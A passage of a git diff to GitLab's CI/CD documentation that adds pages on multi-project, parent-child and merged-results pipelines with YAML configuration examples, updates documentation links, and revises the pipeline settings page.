+Each project has its own build, test, and deploy process. With multi-project pipelines you can +visualize the entire pipeline, including all build and test stages for all three projects. + +<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> +For an overview, see the [Multi-project pipelines demo](https://www.youtube.com/watch?v=g_PIwBM1J84). + +Multi-project pipelines are also useful for larger products that require cross-project interdependencies, like those +with a [microservices architecture](https://about.gitlab.com/blog/2016/08/16/trends-in-version-control-land-microservices/). +Learn more in the [Cross-project Pipeline Triggering and Visualization demo](https://about.gitlab.com/learn/) +at GitLab@learn, in the Continuous Integration section. + +If you trigger a pipeline in a downstream private project, on the upstream project's pipelines page, +you can view: + +- The name of the project. +- The status of the pipeline. + +If you have a public project that can trigger downstream pipelines in a private project, +make sure there are no confidentiality problems. + +## Create multi-project pipelines + +To create multi-project pipelines, you can: + +- [Define them in your `.gitlab-ci.yml` file](#define-multi-project-pipelines-in-your-gitlab-ciyml-file). +- [Use the API](#create-multi-project-pipelines-by-using-the-api). + +### Define multi-project pipelines in your `.gitlab-ci.yml` file + +> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) to GitLab Free in 12.8. + +When you create a multi-project pipeline in your `.gitlab-ci.yml` file, +you create what is called a *trigger job*. For example: + +```yaml +rspec: + stage: test + script: bundle exec rspec + +staging: + variables: + ENVIRONMENT: staging + stage: deploy + trigger: my/deployment +``` + +In this example, after the `rspec` job succeeds in the `test` stage, +the `staging` trigger job starts. The initial status of this +job is `pending`. + +GitLab then creates a downstream pipeline in the +`my/deployment` project and, as soon as the pipeline is created, the +`staging` job succeeds. The full path to the project is `my/deployment`. + +You can view the status for the pipeline, or you can display +[the downstream pipeline's status instead](#mirror-status-of-a-triggered-pipeline-in-the-trigger-job). + +The user that creates the upstream pipeline must be able to create pipelines in the +downstream project (`my/deployment`) too. If the downstream project is not found, +or the user does not have [permission](../../user/permissions.md) to create a pipeline there, +the `staging` job is marked as _failed_. + +#### Trigger job configuration keywords + +Trigger jobs can use only a limited set of the GitLab CI/CD [configuration keywords](../yaml/index.md). +The keywords available for use in trigger jobs are: + +- [`trigger`](../yaml/index.md#trigger) +- [`stage`](../yaml/index.md#stage) +- [`allow_failure`](../yaml/index.md#allow_failure) +- [`rules`](../yaml/index.md#rules) +- [`only` and `except`](../yaml/index.md#only--except) +- [`when`](../yaml/index.md#when) (only with a value of `on_success`, `on_failure`, or `always`) +- [`extends`](../yaml/index.md#extends) +- [`needs`](../yaml/index.md#needs) + +#### Specify a downstream pipeline branch + +You can specify a branch name for the downstream pipeline to use. +GitLab uses the commit on the head of the branch to +create the downstream pipeline. + +```yaml +rspec: + stage: test + script: bundle exec rspec + +staging: + stage: deploy + trigger: + project: my/deployment + branch: stable-11-2 +``` + +Use: + +- The `project` keyword to specify the full path to a downstream project. +- The `branch` keyword to specify the name of a branch in the project specified by `project`. + [In GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/issues/10126) and later, variable expansion is + supported. + +Pipelines triggered on a protected branch in a downstream project use the [role](../../user/permissions.md) +of the user that ran the trigger job in the upstream project. If the user does not +have permission to run CI/CD pipelines against the protected branch, the pipeline fails. See +[pipeline security for protected branches](index.md#pipeline-security-on-protected-branches). + +#### Pass CI/CD variables to a downstream pipeline by using the `variables` keyword + +Sometimes you might want to pass CI/CD variables to a downstream pipeline. +You can do that by using the `variables` keyword, just like you would for any other job. + +```yaml +rspec: + stage: test + script: bundle exec rspec + +staging: + variables: + ENVIRONMENT: staging + stage: deploy + trigger: my/deployment +``` + +The `ENVIRONMENT` variable is passed to every job defined in a downstream +pipeline. It is available as a variable when GitLab Runner picks a job. + +In the following configuration, the `MY_VARIABLE` variable is passed to the downstream pipeline +that is created when the `trigger-downstream` job is queued. This is because `trigger-downstream` +job inherits variables declared in global variables blocks, and then we pass these variables to a downstream pipeline. + +```yaml +variables: + MY_VARIABLE: my-value + +trigger-downstream: + variables: + ENVIRONMENT: something + trigger: my/project +``` + +You can stop global variables from reaching the downstream pipeline by using the [`inherit` keyword](../yaml/index.md#inherit). +In this example, the `MY_GLOBAL_VAR` variable is not available in the triggered pipeline: + +```yaml +variables: + MY_GLOBAL_VAR: value + +trigger-downstream: + inherit: + variables: false + variables: + MY_LOCAL_VAR: value + trigger: my/project +``` + +You might want to pass some information about the upstream pipeline using, for +example, predefined variables. In order to do that, you can use interpolation +to pass any variable. For example: + +```yaml +downstream-job: + variables: + UPSTREAM_BRANCH: $CI_COMMIT_REF_NAME + trigger: my/project +``` + +In this scenario, the `UPSTREAM_BRANCH` variable with a value related to the +upstream pipeline is passed to the `downstream-job` job. It is available +in the context of all downstream builds. + +Upstream pipelines take precedence over downstream ones. If there are two +variables with the same name defined in both upstream and downstream projects, +the ones defined in the upstream project take precedence. + +#### Pass CI/CD variables to a downstream pipeline by using variable inheritance + +You can pass variables to a downstream pipeline with [`dotenv` variable inheritance](../variables/index.md#pass-an-environment-variable-to-another-job) and [cross project artifact downloads](../yaml/index.md#cross-project-artifact-downloads-with-needs). + +In the upstream pipeline: + +1. Save the variables in a `.env` file. +1. Save the `.env` file as a `dotenv` report. +1. Trigger the downstream pipeline. + + ```yaml + build_vars: + stage: build + script: + - echo "BUILD_VERSION=hello" >> build.env + artifacts: + reports: + dotenv: build.env + + deploy: + stage: deploy + trigger: my/downstream_project + ``` + +1. Set the `test` job in the downstream pipeline to inherit the variables from the `build_vars` + job in the upstream project with `needs:`. The `test` job inherits the variables in the + `dotenv` report and it can access `BUILD_VERSION` in the script: + + ```yaml + test: + stage: test + script: + - echo $BUILD_VERSION + needs: + - project: my/upstream_project + job: build_vars + ref: master + artifacts: true + ``` + +#### Use `rules` or `only`/`except` with multi-project pipelines + +You can use CI/CD variables or the [`rules`](../yaml/index.md#rulesif) keyword to +[control job behavior](../jobs/job_control.md) for multi-project pipelines. When a +downstream pipeline is triggered with the [`trigger`](../yaml/index.md#trigger) keyword, +the value of the [`$CI_PIPELINE_SOURCE` predefined variable](../variables/predefined_variables.md) +is `pipeline` for all its jobs. + +If you use [`only/except`](../yaml/index.md#only--except) to control job behavior, use the +[`pipelines`](../yaml/index.md#onlyrefs--exceptrefs) keyword. + +#### Mirror status of a triggered pipeline in the trigger job + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11238) in GitLab Premium 12.3. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) to GitLab Free in 12.8. + +You can mirror the pipeline status from the triggered pipeline to the source +trigger job by using `strategy: depend`. For example: + +```yaml +trigger_job: + trigger: + project: my/project + strategy: depend +``` + +#### Mirror status from upstream pipeline + +You can mirror the pipeline status from an upstream pipeline to a bridge job by +using the `needs:pipeline` keyword. The latest pipeline status from the default branch is +replicated to the bridge job. + +For example: + +```yaml +upstream_bridge: + stage: test + needs: + pipeline: other/project +``` + +### Create multi-project pipelines by using the API + +> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/31573) to GitLab Free in 12.4. + +When you use the [`CI_JOB_TOKEN` to trigger pipelines](../triggers/index.md#ci-job-token), +GitLab recognizes the source of the job token. The pipelines become related, +so you can visualize their relationships on pipeline graphs. + +These relationships are displayed in the pipeline graph by showing inbound and +outbound connections for upstream and downstream pipeline dependencies. + +When using: + +- CI/CD variables or [`rules`](../yaml/index.md#rulesif) to control job behavior, the value of + the [`$CI_PIPELINE_SOURCE` predefined variable](../variables/predefined_variables.md) is + `pipeline` for multi-project pipeline triggered through the API with `CI_JOB_TOKEN`. +- [`only/except`](../yaml/index.md#only--except) to control job behavior, use the + `pipelines` keyword. + +## Trigger a pipeline when an upstream project is rebuilt **(PREMIUM)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9045) in GitLab Premium 12.8. + +You can trigger a pipeline in your project whenever a pipeline finishes for a new +tag in a different project. + +Prerequisites: + +- The upstream project must be [public](../../public_access/public_access.md). +- The user must have the [Developer role](../../user/permissions.md#project-members-permissions) + in the upstream project. + +To trigger the pipeline when the upstream project is rebuilt: + +1. On the top bar, select **Menu > Projects** and find your project. +1. On the left sidebar, select **Settings > CI/CD** page. +1. Expand the **Pipeline subscriptions** section. +1. Enter the project you want to subscribe to, in the format `<namespace>/<project>`. + For example, if the project is `https://gitlab.com/gitlab-org/gitlab`, use `gitlab-org/gitlab`. +1. Select **Subscribe**. + +Any pipelines that complete successfully for new tags in the subscribed project +now trigger a pipeline on the current project's default branch. The maximum +number of upstream pipeline subscriptions is 2 by default, for both the upstream and +downstream projects. On self-managed instances, an administrator can change this +[limit](../../administration/instance_limits.md#number-of-cicd-subscriptions-to-a-project). + +## Multi-project pipeline visualization **(PREMIUM)** + +When you configure GitLab CI/CD for your project, you can visualize the stages of your +[jobs](index.md#configure-a-pipeline) on a [pipeline graph](index.md#visualize-pipelines). + + + +In the merge request, on the **Pipelines** tab, multi-project pipeline mini-graphs are displayed. +They expand and are shown adjacent to each other when hovering (or tapping on touchscreen devices). + + diff --git a/doc/ci/pipelines/parent_child_pipelines.md b/doc/ci/pipelines/parent_child_pipelines.md new file mode 100644 index 00000000000..2e29f4fe812 --- /dev/null +++ b/doc/ci/pipelines/parent_child_pipelines.md @@ -0,0 +1,192 @@ +--- +stage: Verify +group: Pipeline Authoring +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +type: reference +--- + +# Parent-child pipelines **(FREE)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16094) in GitLab 12.7. + +As pipelines grow more complex, a few related problems start to emerge: + +- The staged structure, where all steps in a stage must be completed before the first + job in next stage begins, causes arbitrary waits, slowing things down. +- Configuration for the single global pipeline becomes very long and complicated, + making it hard to manage. +- Imports with [`include`](../yaml/index.md#include) increase the complexity of the configuration, and create the potential + for namespace collisions where jobs are unintentionally duplicated. +- Pipeline UX can become unwieldy with so many jobs and stages to work with. + +Additionally, sometimes the behavior of a pipeline needs to be more dynamic. The ability +to choose to start sub-pipelines (or not) is a powerful ability, especially if the +YAML is dynamically generated. + + + +Similarly to [multi-project pipelines](multi_project_pipelines.md), a pipeline can trigger a +set of concurrently running child pipelines, but within the same project: + +- Child pipelines still execute each of their jobs according to a stage sequence, but + would be free to continue forward through their stages without waiting for unrelated + jobs in the parent pipeline to finish. +- The configuration is split up into smaller child pipeline configurations, which are + easier to understand. This reduces the cognitive load to understand the overall configuration. +- Imports are done at the child pipeline level, reducing the likelihood of collisions. +- Each pipeline has only relevant steps, making it easier to understand what's going on. + +Child pipelines work well with other GitLab CI/CD features: + +- Use [`rules: changes`](../yaml/index.md#ruleschanges) to trigger pipelines only when + certain files change. This is useful for monorepos, for example. +- Since the parent pipeline in `.gitlab-ci.yml` and the child pipeline run as normal + pipelines, they can have their own behaviors and sequencing in relation to triggers. + +See the [`trigger:`](../yaml/index.md#trigger) keyword documentation for full details on how to +include the child pipeline configuration. + +<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> +For an overview, see [Parent-Child Pipelines feature demo](https://youtu.be/n8KpBSqZNbk). + +## Examples + +The simplest case is [triggering a child pipeline](../yaml/index.md#trigger) using a +local YAML file to define the pipeline configuration. In this case, the parent pipeline +triggers the child pipeline, and continues without waiting: + +```yaml +microservice_a: + trigger: + include: path/to/microservice_a.yml +``` + +You can include multiple files when composing a child pipeline: + +```yaml +microservice_a: + trigger: + include: + - local: path/to/microservice_a.yml + - template: Security/SAST.gitlab-ci.yml +``` + +In [GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/205157) and later, +you can use [`include:file`](../yaml/index.md#includefile) to trigger child pipelines +with a configuration file in a different project: + +```yaml +microservice_a: + trigger: + include: + - project: 'my-group/my-pipeline-library' + file: 'path/to/ci-config.yml' +``` + +The maximum number of entries that are accepted for `trigger:include:` is three. + +Similar to [multi-project pipelines](multi_project_pipelines.md#mirror-status-of-a-triggered-pipeline-in-the-trigger-job), +we can set the parent pipeline to depend on the status of the child pipeline upon completion: + +```yaml +microservice_a: + trigger: + include: + - local: path/to/microservice_a.yml + - template: Security/SAST.gitlab-ci.yml + strategy: depend +``` + +## Merge Request child pipelines + +To trigger a child pipeline as a [Merge Request Pipeline](merge_request_pipelines.md) we need to: + +- Set the trigger job to run on merge requests: + +```yaml +# parent .gitlab-ci.yml +microservice_a: + trigger: + include: path/to/microservice_a.yml + rules: + - if: $CI_MERGE_REQUEST_ID +``` + +- Configure the child pipeline by either: + + - Setting all jobs in the child pipeline to evaluate in the context of a merge request: + + ```yaml + # child path/to/microservice_a.yml + workflow: + rules: + - if: $CI_MERGE_REQUEST_ID + + job1: + script: ... + + job2: + script: ... + ``` + + - Alternatively, setting the rule per job. For example, to create only `job1` in + the context of merge request pipelines: + + ```yaml + # child path/to/microservice_a.yml + job1: + script: ... + rules: + - if: $CI_MERGE_REQUEST_ID + + job2: + script: ... + ``` + +## Dynamic child pipelines + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/35632) in GitLab 12.9. + +Instead of running a child pipeline from a static YAML file, you can define a job that runs +your own script to generate a YAML file, which is then [used to trigger a child pipeline](../yaml/index.md#trigger-child-pipeline-with-generated-configuration-file). + +This technique can be very powerful in generating pipelines targeting content that changed or to +build a matrix of targets and architectures. + +<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> +For an overview, see [Create child pipelines using dynamically generated configurations](https://youtu.be/nMdfus2JWHM). + +<!-- vale gitlab.Spelling = NO --> +We also have an example project using +[Dynamic Child Pipelines with Jsonnet](https://gitlab.com/gitlab-org/project-templates/jsonnet) +which shows how to use a data templating language to generate your `.gitlab-ci.yml` at runtime. You could use a similar process for other templating languages like [Dhall](https://dhall-lang.org/) or [`ytt`](https://get-ytt.io/). +<!-- vale gitlab.Spelling = NO --> + +The artifact path is parsed by GitLab, not the runner, so the path must match the +syntax for the OS running GitLab. If GitLab is running on Linux but using a Windows +runner for testing, the path separator for the trigger job would be `/`. Other CI/CD +configuration for jobs, like scripts, that use the Windows runner would use `\`. + +In GitLab 12.9, the child pipeline could fail to be created in certain cases, causing the parent pipeline to fail. +This is [resolved in GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/issues/209070). + +## Nested child pipelines + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/29651) in GitLab 13.4. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/243747) in GitLab 13.5. + +Parent and child pipelines were introduced with a maximum depth of one level of child +pipelines, which was later increased to two. A parent pipeline can trigger many child +pipelines, and these child pipelines can trigger their own child pipelines. It's not +possible to trigger another level of child pipelines. + +<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> +For an overview, see [Nested Dynamic Pipelines](https://youtu.be/C5j3ju9je2M). + +## Pass CI/CD variables to a child pipeline + +You can pass CI/CD variables to a downstream pipeline using the same methods as +multi-project pipelines: + +- [By using the `variable` keyword](multi_project_pipelines.md#pass-cicd-variables-to-a-downstream-pipeline-by-using-the-variables-keyword). +- [By using variable inheritance](multi_project_pipelines.md#pass-cicd-variables-to-a-downstream-pipeline-by-using-variable-inheritance). diff --git a/doc/ci/pipelines/pipeline_architectures.md b/doc/ci/pipelines/pipeline_architectures.md index 78031ec1d97..1b23727b142 100644 --- a/doc/ci/pipelines/pipeline_architectures.md +++ b/doc/ci/pipelines/pipeline_architectures.md @@ -18,7 +18,7 @@ own advantages. These methods can be mixed and matched if needed: - [Child/Parent Pipelines](#child--parent-pipelines): Good for monorepos and projects with lots of independently defined components. For more details about -any of the keywords used below, check out our [CI YAML reference](../yaml/README.md) for details. +any of the keywords used below, check out our [CI YAML reference](../yaml/index.md) for details. ## Basic Pipelines @@ -96,7 +96,7 @@ deploy_b: If efficiency is important to you and you want everything to run as quickly as possible, you can use [Directed Acyclic Graphs (DAG)](../directed_acyclic_graph/index.md). Use the -[`needs` keyword](../yaml/README.md#needs) to define dependency relationships between +[`needs` keyword](../yaml/index.md#needs) to define dependency relationships between your jobs. When GitLab knows the relationships between your jobs, it can run everything as fast as possible, and even skips into subsequent stages when possible. @@ -162,13 +162,13 @@ deploy_b: ## Child / Parent Pipelines In the examples above, it's clear we've got two types of things that could be built independently. -This is an ideal case for using [Child / Parent Pipelines](../parent_child_pipelines.md)) via -the [`trigger` keyword](../yaml/README.md#trigger). It separates out the configuration +This is an ideal case for using [Child / Parent Pipelines](parent_child_pipelines.md)) via +the [`trigger` keyword](../yaml/index.md#trigger). It separates out the configuration into multiple files, keeping things very simple. You can also combine this with: -- The [`rules` keyword](../yaml/README.md#rules): For example, have the child pipelines triggered only +- The [`rules` keyword](../yaml/index.md#rules): For example, have the child pipelines triggered only when there are changes to that area. -- The [`include` keyword](../yaml/README.md#include): Bring in common behaviors, ensuring +- The [`include` keyword](../yaml/index.md#include): Bring in common behaviors, ensuring you are not repeating yourself. - [DAG pipelines](#directed-acyclic-graph-pipelines) inside of child pipelines, achieving the benefits of both. diff --git a/doc/ci/pipelines/pipeline_artifacts.md b/doc/ci/pipelines/pipeline_artifacts.md index b80a056bbca..55555571f97 100644 --- a/doc/ci/pipelines/pipeline_artifacts.md +++ b/doc/ci/pipelines/pipeline_artifacts.md @@ -9,7 +9,7 @@ type: reference, howto Pipeline artifacts are files created by GitLab after a pipeline finishes. These are different than [job artifacts](job_artifacts.md) because they are not explicitly managed by the `.gitlab-ci.yml` definitions. -Pipeline artifacts are used by the [test coverage visualization feature](../../user/project/merge_requests/test_coverage_visualization.md) to collect coverage information. It uses the [`artifacts: reports`](../yaml/README.md#artifactsreports) CI/CD keyword. +Pipeline artifacts are used by the [test coverage visualization feature](../../user/project/merge_requests/test_coverage_visualization.md) to collect coverage information. It uses the [`artifacts: reports`](../yaml/index.md#artifactsreports) CI/CD keyword. ## Storage diff --git a/doc/ci/pipelines/pipeline_efficiency.md b/doc/ci/pipelines/pipeline_efficiency.md index 5bb435dddf6..91560a0420f 100644 --- a/doc/ci/pipelines/pipeline_efficiency.md +++ b/doc/ci/pipelines/pipeline_efficiency.md @@ -33,7 +33,7 @@ heavily influenced by the: - The ["critical path"](#directed-acyclic-graphs-dag-visualization), which represents the minimum and maximum pipeline duration. -Additional points to pay attention relate to [GitLab Runners](../runners/README.md): +Additional points to pay attention relate to [GitLab Runners](../runners/index.md): - Availability of the runners and the resources they are provisioned with. - Build dependencies and their installation time. @@ -62,7 +62,7 @@ It's important to understand and document the pipeline workflows, and discuss po actions and changes. Refactoring pipelines may need careful interaction between teams in the DevSecOps lifecycle. -Pipeline analysis can help identify issues with cost efficiency. For example, [runners](../runners/README.md) +Pipeline analysis can help identify issues with cost efficiency. For example, [runners](../runners/index.md) hosted with a paid cloud service may be provisioned with: - More resources than needed for CI/CD pipelines, wasting money. @@ -100,7 +100,7 @@ representation of pipeline health. Instance administrators have access to additional [performance metrics and self-monitoring](../../administration/monitoring/index.md). -You can fetch specific pipeline health metrics from the [API](../../api/README.md). +You can fetch specific pipeline health metrics from the [API](../../api/index.md). External monitoring tools can poll the API and verify pipeline health or collect metrics for long term SLA analytics. @@ -146,7 +146,7 @@ with embedded metric charts and all valuable details to analyze the problem. Review the storage use of the following to help analyze costs and efficiency: -- [Job artifacts](job_artifacts.md) and their [`expire_in`](../yaml/README.md#artifactsexpire_in) +- [Job artifacts](job_artifacts.md) and their [`expire_in`](../yaml/index.md#artifactsexpire_in) configuration. If kept for too long, storage usage grows and could slow pipelines down. - [Container registry](../../user/packages/container_registry/index.md) usage. - [Package registry](../../user/packages/package_registry/index.md) usage. @@ -162,9 +162,9 @@ make pipelines run faster and more efficiently. Try to find which jobs don't need to run in all situations, and use pipeline configuration to stop them from running: -- Use the [`interruptible`](../yaml/README.md#interruptible) keyword to stop old pipelines +- Use the [`interruptible`](../yaml/index.md#interruptible) keyword to stop old pipelines when they are superseded by a newer pipeline. -- Use [`rules`](../yaml/README.md#rules) to skip tests that aren't needed. For example, +- Use [`rules`](../yaml/index.md#rules) to skip tests that aren't needed. For example, skip backend tests when only the frontend code is changed. - Run non-essential [scheduled pipelines](schedules.md) less frequently. @@ -186,7 +186,7 @@ shouldn't run, saving pipeline resources. In a basic configuration, jobs always wait for all other jobs in earlier stages to complete before running. This is the simplest configuration, but it's also the slowest in most cases. [Directed Acyclic Graphs](../directed_acyclic_graph/index.md) and -[parent/child pipelines](../parent_child_pipelines.md) are more flexible and can +[parent/child pipelines](parent_child_pipelines.md) are more flexible and can be more efficient, but can also make pipelines harder to understand and analyze. ### Caching @@ -195,7 +195,7 @@ Another optimization method is to [cache](../caching/index.md) dependencies. If dependencies change rarely, like [NodeJS `/node_modules`](../caching/index.md#cache-nodejs-dependencies), caching can make pipeline execution much faster. -You can use [`cache:when`](../yaml/README.md#cachewhen) to cache downloaded dependencies +You can use [`cache:when`](../yaml/index.md#cachewhen) to cache downloaded dependencies even when a job fails. ### Docker Images diff --git a/doc/ci/pipelines/pipelines_for_merged_results.md b/doc/ci/pipelines/pipelines_for_merged_results.md new file mode 100644 index 00000000000..efa6a373ef3 --- /dev/null +++ b/doc/ci/pipelines/pipelines_for_merged_results.md @@ -0,0 +1,135 @@ +--- +stage: Verify +group: Pipeline Execution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +type: reference +last_update: 2019-07-03 +--- + +# Pipelines for merged results **(PREMIUM)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7380) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.10. + +When you submit a merge request, you are requesting to merge changes from a +source branch into a target branch. By default, the CI pipeline runs jobs +against the source branch. + +With *pipelines for merged results*, the pipeline runs as if the changes from +the source branch have already been merged into the target branch. The commit shown for the pipeline does not exist on the source or target branches but represents the combined target and source branches. + + + +If the pipeline fails due to a problem in the target branch, you can wait until the +target is fixed and re-run the pipeline. +This new pipeline runs as if the source is merged with the updated target, and you +don't need to rebase. + +The pipeline does not automatically run when the target branch changes. Only changes +to the source branch trigger a new pipeline. If a long time has passed since the last successful +pipeline, you may want to re-run it before merge, to ensure that the source changes +can still be successfully merged into the target. + +When the merge request can't be merged, the pipeline runs against the source branch only. For example, when: + +- The target branch has changes that conflict with the changes in the source branch. +- The merge request is a [**Draft** merge request](../../user/project/merge_requests/drafts.md). + +In these cases, the pipeline runs as a [pipeline for merge requests](merge_request_pipelines.md) +and is labeled as `detached`. If these cases no longer exist, new pipelines +again run against the merged results. + +Any user who has developer [permissions](../../user/permissions.md) can run a +pipeline for merged results. + +## Prerequisites + +To enable pipelines for merge results: + +- You must have the [Maintainer role](../../user/permissions.md). +- You must be using [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner) 11.9 or later. +- You must not be using + [fast forward merges](../../user/project/merge_requests/fast_forward_merge.md) yet. + To follow progress, see [#58226](https://gitlab.com/gitlab-org/gitlab/-/issues/26996). +- Your repository must be a GitLab repository, not an + [external repository](../ci_cd_for_external_repos/index.md). + +## Enable pipelines for merged results + +To enable pipelines for merged results for your project: + +1. [Configure your CI/CD configuration file](merge_request_pipelines.md#configure-pipelines-for-merge-requests) + so that the pipeline or individual jobs run for merge requests. +1. Visit your project's **Settings > General** and expand **Merge requests**. +1. Check **Enable merged results pipelines**. +1. Click **Save changes**. + +WARNING: +If you select the check box but don't configure your CI/CD to use +pipelines for merge requests, your merge requests may become stuck in an +unresolved state or your pipelines may be dropped. + +## Using Merge Trains + +When you enable [Pipelines for merged results](#pipelines-for-merged-results), +GitLab [automatically displays](merge_trains.md#add-a-merge-request-to-a-merge-train) +a **Start/Add Merge Train button**. + +Generally, this is a safer option than merging merge requests immediately, because your +merge request is evaluated with an expected post-merge result before the actual +merge happens. + +For more information, read the [documentation on Merge Trains](merge_trains.md). + +## Automatic pipeline cancellation + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12996) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.3. + +GitLab CI/CD can detect the presence of redundant pipelines, and cancels them +to conserve CI resources. + +When a user merges a merge request immediately in an ongoing merge +train, the train is reconstructed, because it recreates the expected +post-merge commit and pipeline. In this case, the merge train may already +have pipelines running against the previous expected post-merge commit. +These pipelines are considered redundant and are automatically +canceled. + +## Troubleshooting + +### Pipelines for merged results not created even with new change pushed to merge request + +Can be caused by some disabled feature flags. Please make sure that +the following feature flags are enabled on your GitLab instance: + +- `:merge_ref_auto_sync` + +To check and set these feature flag values, please ask an administrator to: + +1. Log into the Rails console of the GitLab instance: + + ```shell + sudo gitlab-rails console + ``` + +1. Check if the flags are enabled or not: + + ```ruby + Feature.enabled?(:merge_ref_auto_sync) + ``` + +1. If needed, enable the feature flags: + + ```ruby + Feature.enable(:merge_ref_auto_sync) + ``` + +### Intermittently pipelines fail by `fatal: reference is not a tree:` error + +Since pipelines for merged results are a run on a merge ref of a merge request +(`refs/merge-requests/<iid>/merge`), the Git reference could be overwritten at an +unexpected timing. For example, when a source or target branch is advanced. +In this case, the pipeline fails because of `fatal: reference is not a tree:` error, +which indicates that the checkout-SHA is not found in the merge ref. + +This behavior was improved at GitLab 12.4 by introducing [Persistent pipeline refs](../troubleshooting.md#fatal-reference-is-not-a-tree-error). +You should be able to create pipelines at any timings without concerning the error. diff --git a/doc/ci/pipelines/schedules.md b/doc/ci/pipelines/schedules.md index c6a40039816..9cb600ae551 100644 --- a/doc/ci/pipelines/schedules.md +++ b/doc/ci/pipelines/schedules.md @@ -52,14 +52,14 @@ is installed on. ### Using variables You can pass any number of arbitrary variables. They are available in -GitLab CI/CD so that they can be used in your [`.gitlab-ci.yml` file](../../ci/yaml/README.md). +GitLab CI/CD so that they can be used in your [`.gitlab-ci.yml` file](../../ci/yaml/index.md).  ### Using `rules` To configure a job to be executed only when the pipeline has been -scheduled, use the [`rules`](../yaml/README.md#rules) keyword. +scheduled, use the [`rules`](../yaml/index.md#rules) keyword. In this example, `make world` runs in scheduled pipelines, and `make build` runs in branch and tag pipelines: diff --git a/doc/ci/pipelines/settings.md b/doc/ci/pipelines/settings.md index 2e842856e55..db6fa7f4d23 100644 --- a/doc/ci/pipelines/settings.md +++ b/doc/ci/pipelines/settings.md @@ -6,125 +6,199 @@ disqus_identifier: 'https://docs.gitlab.com/ee/user/project/pipelines/settings.h type: reference, howto --- -# Pipeline settings **(FREE)** +# Customize pipeline configuration **(FREE)** -To reach the pipelines settings navigate to your project's -**Settings > CI/CD**. - -The following settings can be configured per project. +You can customize how pipelines run for your project. <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> -For an overview, watch the video [GitLab CI Pipeline, Artifacts, and Environments](https://www.youtube.com/watch?v=PCKDICEe10s). +For an overview of pipelines, watch the video [GitLab CI Pipeline, Artifacts, and Environments](https://www.youtube.com/watch?v=PCKDICEe10s). Watch also [GitLab CI pipeline tutorial for beginners](https://www.youtube.com/watch?v=Jav4vbUrqII). -You can use the pipeline status to determine if a merge request can be merged: +## Change which users can view your pipelines -- [Merge when pipeline succeeds](../../user/project/merge_requests/merge_when_pipeline_succeeds.md). -- [Only allow merge requests to be merged if the pipeline succeeds](../../user/project/merge_requests/merge_when_pipeline_succeeds.md#only-allow-merge-requests-to-be-merged-if-the-pipeline-succeeds). +For public and internal projects, you can change who can see your: -## Git strategy +- Pipelines +- Job output logs +- Job artifacts +- [Pipeline security dashboard](../../user/application_security/security_dashboard/index.md#pipeline-security) -With Git strategy, you can choose the default way your repository is fetched -from GitLab in a job. +However: -There are two options. Using: +- Job output logs and artifacts are [never visible for Guest users and non-project members](https://gitlab.com/gitlab-org/gitlab/-/issues/25649). -- `git clone`, which is slower because it clones the repository from scratch - for every job, ensuring that the local working copy is always pristine. -- `git fetch`, which is default in GitLab and faster as it re-uses the local working copy (falling - back to clone if it doesn't exist). - This is recommended, especially for [large repositories](../large_repositories/index.md#git-strategy). +To change the visibility of your pipelines and related features: -The configured Git strategy can be overridden by the [`GIT_STRATEGY` variable](../runners/configure_runners.md#git-strategy) -in `.gitlab-ci.yml`. +1. On the top bar, select **Menu > Projects** and find your project. +1. On the left sidebar, select **Settings > CI/CD**. +1. Expand **General pipelines**. +1. Select or clear the **Public pipelines** checkbox. + When it is selected, pipelines and related features are visible: -## Git shallow clone + - For **public** projects, to everyone. + - For **internal** projects, to all logged-in users except [external users](../../user/permissions.md#external-users). + - For **private** projects, to all project members (Guest or higher). -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/28919) in GitLab 12.0. + When it is cleared: -It is possible to limit the number of changes that GitLab CI/CD fetches when cloning -a repository. Setting a limit to `git depth` can speed up Pipelines execution. + - For **public** projects, pipelines are visible to everyone. Related features are visible + only to project members (Reporter or higher). + - For **internal** projects, pipelines are visible to all logged in users except [external users](../../user/permissions.md#external-users). + Related features are visible only to project members (Reporter or higher). + - For **private** projects, pipelines and related features are visible to project members (Reporter or higher) only. -In GitLab 12.0 and later, newly created projects automatically have a default -`git depth` value of `50`. The maximum allowed value is `1000`. +## Auto-cancel redundant pipelines + +You can set pending or running pipelines to cancel automatically when a new pipeline runs on the same branch. You can enable this in the project settings: + +1. On the top bar, select **Menu > Projects** and find your project. +1. On the left sidebar, select **Settings > CI/CD**. +1. Expand **General Pipelines**. +1. Select the **Auto-cancel redundant pipelines** checkbox. +1. Select **Save changes**. + +Use the [`interruptible`](../yaml/index.md#interruptible) keyword to indicate if a +running job can be cancelled before it completes. -To disable shallow clone and make GitLab CI/CD fetch all branches and tags each time, -keep the value empty or set to `0`. +## Skip outdated deployment jobs + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/25276) in GitLab 12.9. + +Your project may have multiple concurrent deployment jobs that are +scheduled to run in the same time frame. + +This can lead to a situation where an older deployment job runs after a +newer one, which may not be what you want. -This value can also be [overridden by `GIT_DEPTH`](../large_repositories/index.md#shallow-cloning) variable in 